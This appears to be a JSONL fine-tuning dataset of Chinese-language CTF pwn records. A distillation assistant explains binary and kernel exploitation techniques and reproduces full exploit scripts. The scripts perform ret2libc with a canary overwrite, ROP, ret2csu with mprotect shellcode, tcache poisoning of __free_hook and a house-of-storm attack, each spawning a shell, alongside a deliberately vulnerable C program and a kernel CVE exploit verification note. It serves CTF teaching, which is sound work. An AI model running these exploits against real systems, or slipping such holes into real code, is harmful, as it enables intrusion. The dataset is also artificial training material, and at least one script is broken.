{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-57ef0131dd8afc7b5e80", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Build, run, and verification」。\n资料来源：Kernel/CVE-2026-53362_lts/docs/exploit.md；主题：Exploit；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### Build, run, and verification\n\nThe package Makefile builds the exploit, and its normal execution command is:\n\n```text\n./exploit\n```\n\nThe normal flag path uses no command-line options, wrapper script, environment\nvariable, or manual setup step.\n\nThe recorded local verification campaign on `2026-07-15` used:\n\n| Item | Value |\n| --- | --- |\n| Target | `lts-6.12.85` |\n| Kernel image | `runs/remote/lts-6.12.85/bzImage` |\n| Harness command | Pre-migration: `REMOTE=1 ./run.sh lts-6.12.85`; current equivalent: `./run.sh Fraggap lts-6.12.85` |\n| Guest command | `./exploit` |\n| Reported kernel | `Linux 6.12.85`, built `2026-04-30` |\n| Result | 20 flag-producing runs in 20 valid exploit attempts |\n\nOne additional harness launch failed to mount the guest root filesystem before\na shell appeared, so no exploit process ran on that boot and it was excluded\nfrom the denominator; a later diagnostic boot completed normally. The 20/20\nfigure is a recorded local QEMU result, not a formal kernelCTF evaluator\nresult or a guarantee of universal 100% reliability. Per-run raw transcripts\nare not included in this draft package.", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-72f771f41ab9d208", "original_line": 393, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/docs/exploit.md", "split": "train", "split_group_key": "7f9976b6c691c088eb102a55"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/docs/exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5887d00bffcaaa32d922", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它/2024geek-overflow/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它/2024geek-overflow/exp.py`\n\n分类：misc_pwn\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `dbg`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x401346`, `0x403f00`, `0x00000000004011be`, `0x000000000040123f`, `0x6766656463626100`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('pwn')\nio = process([elf.path])\nlibc = ELF('libc.so.6')\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\nret = 0x00000000004011be# ret;\nrdi = 0x000000000040123f# pop rdi; pop rcx; ret;\nprintf_plt = elf.plt['printf']\nread_got = elf.got['read']\n\n# 接收泄露的 fs 寄存器地址\nru(b'gift:')\nfsbase = u64(r(6).ljust(0x8,b'\\x00'))\nprint(\"fsbase:\" + hex(fsbase))\ncanary_addr = fsbase + 0x28\n\n# 写入存放canary的地址，+1需要绕过检测\nsa(\"please input *ptr:\",p64(canary_addr+1))\n# 将canary的值更改为0x6766656463626100\nsa(\"change *address:\",b'abcdefg')\n\n# leak libc base\npayload = flat([cyclic(0x18),b'\\x00abcdefg',0x403f00,rdi,read_got,0,ret,0x401346]) #printf 地址\nsa(\"buf:\",payload)\nread_addr = u64(io.recv(6).ljust(8,b'\\x00'))\n\n# ret2libc\nlibc_base = read_addr - libc.sym['read']\nsystem_addr = libc_base + libc.sym['system']\nbin_sh_addr = libc_base + next(libc.search(b'/bin/sh\\x00'))\npayload = flat([cyclic(0x18),b'\\x00abcdefg',0,rdi,bin_sh_addr,ret,system_addr])\nio.send(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc_pwn", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-747479c6c1fc617d", "original_line": 417, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024geek-overflow/exp.py", "split": "train", "split_group_key": "78ea2706d142e9e2d112342d"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024geek-overflow/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-588bafd55893a6156782", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它/2024geek-stdout/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它/2024geek-stdout/exp.py`\n\n分类：misc_pwn\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `dbg`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x23b6a`, `0x1e94a0`, `0x0000000000013a2`, `0x000000000052290`, `0x0000000000022679`, `0x00000000001B45BD`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('pwn')\nio = process([elf.path])\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\ns(b'a'*0x18) #写入libc进入缓冲区\nru(\"???,out??\\n\")\ns(b'a'*0x48+b'\\x78') #rop 到 write 的地址\n\nr(0x48)\n# leak elf 地址\ncall_vuln = u64(r(8))\nelf_base = call_vuln-0x0000000000013a2\n\n# 填满缓冲区\nfor i in range(0xb0):\n    s(b'b'*0x48+p64(call_vuln)+b'\\x00'*0x10)\n\nru('aaaaaaaaaaaaaaaaaaaaaaaa')\nlibc = u64(r(6)+b'\\x00\\x00')-0x1e94a0\nsystem = libc + 0x000000000052290\nrdi = libc + 0x23b6a\nsh = libc + 0x00000000001B45BD\nret = libc + 0x0000000000022679\nrop = p64(rdi) + p64(sh) + p64(system)\n\ns((b'a'*0x48+p64(ret)+p64(call_vuln)).ljust(0x60,b'\\x00'))\ns(b'a'*0x48+rop)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc_pwn", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-862f81295e12d646", "original_line": 38, "original_split": "validation", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024geek-stdout/exp.py", "split": "train", "split_group_key": "9791c109c50ce66a48f14398"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024geek-stdout/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-58a40a675dc1b12dd33d", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2csu/[NewStarCTF 公开赛赛道]ret2csu2/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2csu/[NewStarCTF 公开赛赛道]ret2csu2/exp_cli.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x1000`, `0x400681`, `0x4006E7`, `0x400740`, `0x40075A`, `0x601000`, `0x601020`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\nlibc: ELF = gift.libc\n\nmprotect_got=elf.got.mprotect\nleave_ret=0x400681\ngadget1=0x40075A\ngadget2=0x400740\n\n# lea rsi, [rbp - 0xf0]\nfirst_ebp=0x601020 + 0xf0\nlea_read=0x4006E7\n\n#通过上述 lea 指令设置 rsi 值为 bss 段地址，并且再次执行 read 函数将 rop 链写入 bss 段\npayload = b\"a\"*0xf0 + p64(first_ebp) + p64(lea_read)\n\nru(\"Remember to check it!\")\ns(payload)\n\n#通过 csu 执行 mprotect 函数修改 bss 段内存权限为可读可写可执行\npayload2=p64(gadget1)+p64(0)+p64(1)+ p64(mprotect_got)+p64(0x601000)+p64(0x1000)+p64(0x7)+ p64(gadget2)\n\n# asm(shellcraft.sh())长度为0x30\nshellcode = asm(shellcraft.sh())\n\n#0x40 为 mrpotect 的 rop 链的长度，0x38 为 a 的长度，0x8 为填充地址的长度，目的是返回到 shellcode\npayload2 += b\"a\"*0x38 + p64(0x601020+0x40+0x38+0x8) + shellcode + b\"A\"*(0xf0-0x40-0x38-0x8-0x30) + p64(0x601020-0x8) + p64(leave_ret)\n\nsl(payload2)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-3efe3c9efd1a7f8f", "original_line": 524, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2csu/[NewStarCTF 公开赛赛道]ret2csu2/exp_cli.py", "split": "train", "split_group_key": "cc7dadcef48b3643f574e4de"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2csu/[NewStarCTF 公开赛赛道]ret2csu2/exp_cli.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-58b0369976c4e6b8e2ff", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「任意地址读取」。\n资料来源：Kernel/readme.md；主题：利用msg_msg实现任意地址读写；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 任意地址读取\n\n对于大于`0xfd0`的数据，内核会在`msg_msg`的基础上再加上`msg_msgseg`结构体，形成一个单向链表，如果我们能够同时控制`msg_msg->m_ts`及`msg_msg->next`，我们便可以实现任意地址读。但是这里需要注意的是，无论我们采用`MSG_COPY`还是常规消息接收，拷贝消息的主要依据还是`msg_msg->next`，所以为了避免遍历消息时出现访存崩溃，实现对特定地址以后数据的读取，我们需使得`segment`的前`8`字节为`NULL`。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-0229f45f92e4ef10", "original_line": 406, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/readme.md", "split": "train", "split_group_key": "d589209c11be5b5bd758636a"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-58bd0b80563d0a914e53", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「LargeBin Attack」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## LargeBin Attack\n\nLargebin attack 在有些地方又被称为 House of Fun。\n\nLargebin attack 就是通过修改位于 largebin 的 chunk 的指针，然后让其它的 chunk 进入 largebin ，借助链表操作在目标地址处写入一个堆的地址。\n\nlargebin 可以利用的指针有 bk 和 bk_nextsize 。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-eb324af9abd1a980", "original_line": 107, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-58c3bfa67910b96c3401", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「unsorted bin leak」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## unsorted bin leak\n\n由于 unsorted bin 是双向链表，因此在 unsorted bin 链表中必有一个节点的 `fd` 指针会指向 `main_arena` 结构体内部。如果我们可以把正确的 `fd` 指针 leak 出来，就可以获得一个与 `main_arena` 有固定偏移的地址，这个偏移可以通过调试得出。\n\n[图片: Pasted image 20241203235534.png]\n\n而`main_arena` 是一个 `struct malloc_state` 类型的全局变量，是 `ptmalloc` 管理主分配区的唯一实例。说到全局变量，立马可以想到他会被分配在 `.data` 或者 `.bss` 等段上，那么如果我们有进程所使用的 `libc` 的 `.so` 文件的话，我们就可以获得 `main_arena` 与 `libc` 基地址的偏移，从而获取 libc 的基地址。\n\n`main_arena` 和 `__malloc_hook` 的地址差是 0x10，而大多数的 libc 都可以直接查出 `__malloc_hook` 的地址，这样可以大幅减小工作量。以 pwntools 为例\n\nmain_arena_offset = ELF(\"libc.so.6\").symbols[\"__malloc_hook\"] + 0x10\n\n这样就可以获得 `main_arena` 与基地址的偏移了。\n\n通过堆溢出进行 unlink，然后造成任意地址写进行 getshell", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-ff0caa84495043a0", "original_line": 112, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-590ae72b6b4fc49990fc", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/off-by-one/2025hgame-Signin2Heap/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/off-by-one/2025hgame-Signin2Heap/exp.py`\n\n分类：heap\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `add`\n- `dbg`\n- `delete`\n- `show`\n\n利用主题关键词：\n- heap/tcache\n\n关键常量/偏移样例：\n`0x170`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns   = lambda data: io.send(data)\nsa  = lambda text, data: io.sendafter(text, data)\nsl  = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr   = lambda num=4096: io.recv(num)\nru  = lambda text: io.recvuntil(text)\npr  = lambda num=4096: print(io.recv(num))\nia  = lambda: io.interactive()\nic  = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('vuln')\nlibc = ELF(\"./libc-2.27.so\")\nio = process([elf.path])\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\ndef add(index, size, content):\n    sla(b\"Your choice:\", p32(1))\n    sla(b\"Index: \", str(index).encode())\n    sla(b\"Size: \", str(size).encode())\n    sa(b\"Content: \", content)\n\ndef delete(index):\n    sla(b\"Your choice:\", p32(2))\n    sla(b\"Index: \", str(index).encode())\n\ndef show(index):\n    sla(b\"Your choice:\", p32(3))\n    sla(b\"Index: \", str(index).encode())\n\n# 1. 堆喷与布局\nadd(0, 0xF8, b'a')\nadd(1, 0x68, b'a')\nfor i in range(2, 10):  # 2~9\n    add(i, 0xF8, b'a')\nadd(12, 0x68, b'a')\n\nfor i in range(3, 10):  # 3~9\n    delete(i)\n\ndelete(0)\ndelete(1)\n\n# 2. 填充 tcache chunk，伪造大小\nadd(1, 0x68, b'a' * 0x60 + p64(0x170))\ndelete(2)\nadd(0, 0x78, b'a')\nadd(2, 0x78, b'a')\n\n# 3. 泄露 libc\nshow(1)\nlibc_base = u64(io.recv(6).ljust(8, b'\\x00')) - libc.sym[\"__malloc_hook\"] - 0x10 - 0x60\nlog.success(\"libc_base = {}\".format(hex(libc_base)))\n\n__free_hook = libc_base + libc.sym[\"__free_hook\"]\nsystem      = libc_base + libc.sym[\"system\"]\n\n# 4. 分配与释放用于 tcache poisoning\nadd(3, 0x68, b'a')\nfor i in range(4, 11):\n    add(i, 0x68, b'a')\n\nfor i in range(4, 11):\n    delete(i)\n\ndelete(3)\ndelete(12)\ndelete(1)\n\n# 5. tcache poisoning 写入 __free_hook\nfor i in range(4, 11):\n    add(i, 0x68, b'a')\n\nadd(1, 0x68, p64(__free_hook))\nadd(3, 0x68, b'/bin/sh\\x00')\nadd(13, 0x68, b'/bin/sh\\x00')\nadd(12, 0x68, p64(system))\n\ndelete(3)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-cf54e312dbdf40a7", "original_line": 19, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/2025hgame-Signin2Heap/exp.py", "split": "train", "split_group_key": "14fde15d6c115d4dd398064e"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/2025hgame-Signin2Heap/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-593a61fcef1994dffa60", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2vdso/ret2vdso_x32.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2vdso/ret2vdso_x32.c`\n\n分类：stack\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n\n函数/封装：\n- `main`\n- `pwnme`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x100`, `0x400`\n\n训练用代码片段：\n```c\n#include \n#include \nchar buf[10] = \"/bin/sh\\x00\";\nvoid pwnme() {\n    char s[0x100];\n    char *welcome = \"> \";\n    write(1, welcome, 2);\n    read(0, s, 0x400);\n}\nint main() {\n    pwnme();\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-b6a004713af4f246", "original_line": 568, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2vdso/ret2vdso_x32.c", "split": "train", "split_group_key": "117187fb922d615cd4d2f330"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2vdso/ret2vdso_x32.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-59b0cb14ec9d6275288a", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「5. 任意地址写与劫持」。\n资料来源：IO-FILE/house of storm/2026ccb catchme/wp.md；主题：2026ccb catchme；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 5. 任意地址写与劫持\n- 申请到`fake_chunk`后，其用户区起始于 `__free_hook - 0x10`（因为chunk头在 `__free_hook - 0x18`）。\n- 用edit（还剩一次，或者直接用申请的chunk写入）将 `__free_hook` 改为 `system` 或 `one_gadget`。\n- 释放一个包含 `/bin/sh` 的chunk，触发 `system(\"/bin/sh\")`。\n\n- exp\n\n```python\nfrom pwn import *\nio = process('./catchme')\ncontext.log_level = 'debug'\ncontext.terminal = ['tmux', 'splitw',  '-p', '100']\nlibc = ELF('libc-2.27.so')\nrt = lambda x: io.recvuntil(x)\ns  = lambda x: io.send(x)\nsl = lambda x: io.sendline(x)\npr = lambda x:success('\\x1b[01;38;5;214m'+hex(x)+'\\x1b[0m')\ndef cmd(choice):\n    rt(\">>\")\n    sl(str(choice))\n\ndef add(index):\n    cmd(1)\n    rt(\"(3)otter\")\n    s(str(index))\n\ndef delete(index):\n    cmd(2)\n    rt(\"index:\")\n    s(str(index))\n\ndef show(index):\n    cmd(3)\n    rt(\"index:\")\n    s(str(index))\n\ndef edit(index,content):\n    cmd(4)\n    rt(\"index:\")\n    s(str(index))\n    rt(\"set tag:\")\n    s(content)\n\ndef clear(index):\n    cmd(6)\n    rt(\"index:\")\n    sl(str(index))\n\n#我们一开始布局出现了失误，对于堆块合并忘了，后来又记起来了\ndef pwn1():\n    global lib\n    add(1)\n    add(1)\n    delete(0)\n    show(0)\n    rt(\"tag:\")\n    lib = u64(io.recv(6).ljust(8, b'\\x00'))-0x3ebca0\n    pr(lib)\n    delete(1)\n    clear(0)\n    clear(1)\ndef pwn2():\n    for i in range(7):\n        add(3)\n        delete(0)\n        clear(0)\n\ndef pwn3():\n    add(2)#0\n    add(3)#1\n    add(1)#2\n    add(3)#3\n    delete(2)\n    delete(0)\n    clear(0)\n    #放入largebin\n    add(2)#0\n    #unsortedbin归位\n    delete(0)\n    fake_chunk = lib + libc.sym[\"__free_hook\"] - 0x18\n    edit(0,p64(fake_chunk))\n    edit(2, p64(fake_chunk + 8) + p64(0) + p64(fake_chunk - 0x18 - 5))\n    add(3)\n    ogg = lib + 0x4F302\n    edit(4, p64(ogg))\n    gdb.attach(io)\n    delete(4)\nif __name__ == \"__main__\":\n    pwn1()\n    pwn2()\n    pwn3()\n    #gdb.attach(io)\n    io.interactive()\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-e6c840d19449ce93", "original_line": 238, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of storm/2026ccb catchme/wp.md", "split": "train", "split_group_key": "59c73050f60dc7a2444c3b7f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of storm/2026ccb catchme/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5b3801dbc9434a47c389", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2text/read_sh/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2text/read_sh/exp.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n利用主题关键词：\n- io-file/fsop\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x8049186`, `0x804c024`\n\n训练用代码片段：\n```python\nfrom pwn import *\n\npwnfile=\"./demo\"\nio=process(pwnfile)\nelf=ELF(pwnfile)\n\nread=elf.plt[\"gets\"]\nsystem=elf.plt[\"system\"]\nbss=0x804c024\nmain=0x8049186\nsh=\"/bin/sh\"\npayload1=b'a'*13+p32(read)+p32(main)+p32(sh)+p32(bss)+p32(8)\n\nio.sendline(payload)\n\npayload2=b'a'*13+p32(system)+p32(0)+p32(sh)\n\nio.sendlineafter(\"echo hello ctfer!\",payload2)\n\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-49ad50f10c3e7f47", "original_line": 560, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2text/read_sh/exp.py", "split": "train", "split_group_key": "b3bb3e5cc0edc6c28e7aa345"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2text/read_sh/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5ba98ac91e445674fb70", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「先验证 alias slot」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/README.md；主题：2026d3ctf-d3kheap2pro；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 先验证 alias slot\n\n构造：\n\n```text\nalloc(0)\nfree(0)\nalloc(1)\n```\n\n如果 `alloc(1)` 取回刚释放的对象，那么：\n\n```text\nslot0.ptr == slot1.ptr\n```\n\n由于 slot0 的 `ptr` 没清空，slot0 成为 stale reference。\n\n进一步可以尝试：\n\n```text\nalloc(0)\nfree(0)\nalloc(1)\nfree(0)\nfree(1)\n```\n\n这可以制造 alias double free。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-bd90e2704b93d51d", "original_line": 367, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/README.md", "split": "train", "split_group_key": "4f24a40cea540ed9b113d0aa"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/README.md", "split": "train", "type": "ctf_lora_sft"}
